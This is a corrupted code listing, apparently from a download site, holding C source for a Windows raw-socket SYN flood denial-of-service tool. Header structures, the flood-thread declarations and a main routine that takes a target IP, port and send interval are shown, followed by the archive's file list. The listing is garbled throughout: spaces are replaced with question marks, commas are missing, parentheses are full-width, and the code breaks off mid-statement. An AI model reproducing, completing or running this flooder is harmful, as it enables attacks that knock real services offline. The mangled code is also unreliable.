/*****************************/
/*?Thanks?to?Author?LionD8???*/
#include?“stdio.h“
#include?“winsock2.h“
#include?“windows.h“
#include?
#include?“wchar.h“

#pragma?comment（lib?“ws2_32.lib“）

#define?SIO_RCVALL??????_WSAIOW（IOC_VENDOR1）

char*????TargetIP;?//?目標機IP
USHORT????TargetPort;?//?目標端口
USHORT????StartPort?=?1;?//?起始端口
int????????Interval;?//?發包時間間隔
UCHAR*?outflowbuf?=?NULL;????//??選項字節
char*?psend?=?NULL;?//?偽造數據
DWORD?len?=?0;?//?偽造數據長度
USHORT?optlen=?0;?//?選項字節長度

//?定義IP首部格式
typedef?struct?_IPHeader??????
{?
????unsigned?char?h_verlen;????//?版本和首部長度??
????unsigned?char?tos;?????????//?服務類型???????
????unsigned?short?total_len;??//?總長度?
????unsigned?short?ident;??????//?標識號?????
????unsigned?short?frag_and_flags;??//?段偏移量
????unsigned?char?ttl;?????????//?生存時間???????
????unsigned?char?proto;???????//?協議???
????unsigned?short?checksum;???//?首部校驗和
????unsigned?int?sourceIP;?????//?源IP地址??
????unsigned?int?destIP;???????//?目的地址???
}IPHEADER;

//?定義TCP首部格式
typedef?struct?_TCPHeader?
{?
????USHORT?th_sport;??//?源端口號????????
????USHORT?th_dport;??//?目的端口號???????
????unsigned?int?th_seq;??//?SEQ序號????
????unsigned?int?th_ack;??//?ACK序號
????unsigned?char?th_lenres;??//??首部長度????
????unsigned?char?th_flag;???//?控制位??
????USHORT?th_win;??//?窗口大小????????
????USHORT?th_sum;??//?校驗和????????
????USHORT?th_urp;??//?緊急指針?????????
}TCPHEADER;?

//?定義偽首部格式
typedef?struct?_PSDHeader
{?
????unsigned?long?saddr;??//?源地址??
????unsigned?long?daddr;??//?目的地址?
????char?mbz;?
????char?ptcl;????????????//?協議類型???
????unsigned?short?tcpl;??//?TCP長度
}PSDHEADER;

//?定義攻擊目標結構
typedef?struct?_AttackObj
{
????DWORD????dwIP;?//?目標機IP
????USHORT????uAttackPort[11];?//?目標機端口?
????struct?_AttackObj*????Next;?
}ATOBJ;


ATOBJ*????ListAttackObj=0;
//?初始化原始套接字
BOOL????InitRawSocket（）;
//?獲取本地IP地址
DWORD????GetLocalIP（）;
//?計算校驗和
USHORT????checksum（USHORT?*buffer?int?size）;
//?發送SYN洪水攻擊
DWORD????WINAPI??SYNThreadFlood（LPVOID?lp）;
//?發送數據
void????SendData（DWORD?SEQ?DWORD?ACK?
				?USHORT?SPort?USHORT?APort?
				?DWORD?SIP?DWORD?AIP?char*?pBuf
				?BOOL?IsdataDWORD?dwSize）;
//?監聽端口功能
DWORD???WINAPI??ListeningFunc（LPVOID?lpvoid）;
//?轉換成選項字節
void?ConvertOpt?（CHAR*?pu）;

SOCKET?sock?=?NULL;

int?main（int?argc?char*?argv[]）
{
????psend?=?（char*）malloc（800）;
????memset（psend0x38799）;
????psend[799]?=?0;
????len?=?strlen（psend）;
????if?（?argc?????{
????????printf（“input?error!\n“）;
????????return?-1;
????}
	//?獲取目標機IP
????TargetIP?=?strdup（argv[1]）;
????TargetPort?=?atoi（argv[2]）;
????//?定義攻擊字符串
????
????if?（?argc?==?3）
????????Interval?=?100;?//?默認發包間隔
????if?（?argc?==?4）
????{???//?獲取發包間隔參數
????????Interval?=?atoi（argv[3]）;
????}
	CHAR*?optbuftemp?=?“020405B401010402“;????
????ConvertOpt?（optbuftemp）;?//?轉換溢出字符串
????outflowbuf[3]-=1;
????char?HostName[255]={0};
	//?初始化原始套接字
????if?（?InitRawSocket（）?==?FALSE?）
????????return?-1;
????if?（?

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----

?????文件??????15657??2006-12-22?00:19??DoS\DoS.cpp

?????文件???????4248??2006-12-20?23:14??DoS\DoS.dsp

?????文件????????531??2006-12-20?22:28??DoS\DoS.dsw

?????文件??????50176??2006-12-22?01:02??DoS\DoS.ncb

?????文件??????53760??2006-12-22?01:02??DoS\DoS.opt

?????文件????????765??2006-12-22?00:19??DoS\DoS.plg

?????目錄??????????0??2007-08-10?09:47??DoS

-----------?---------??----------?-----??----

???????????????125137????????????????????7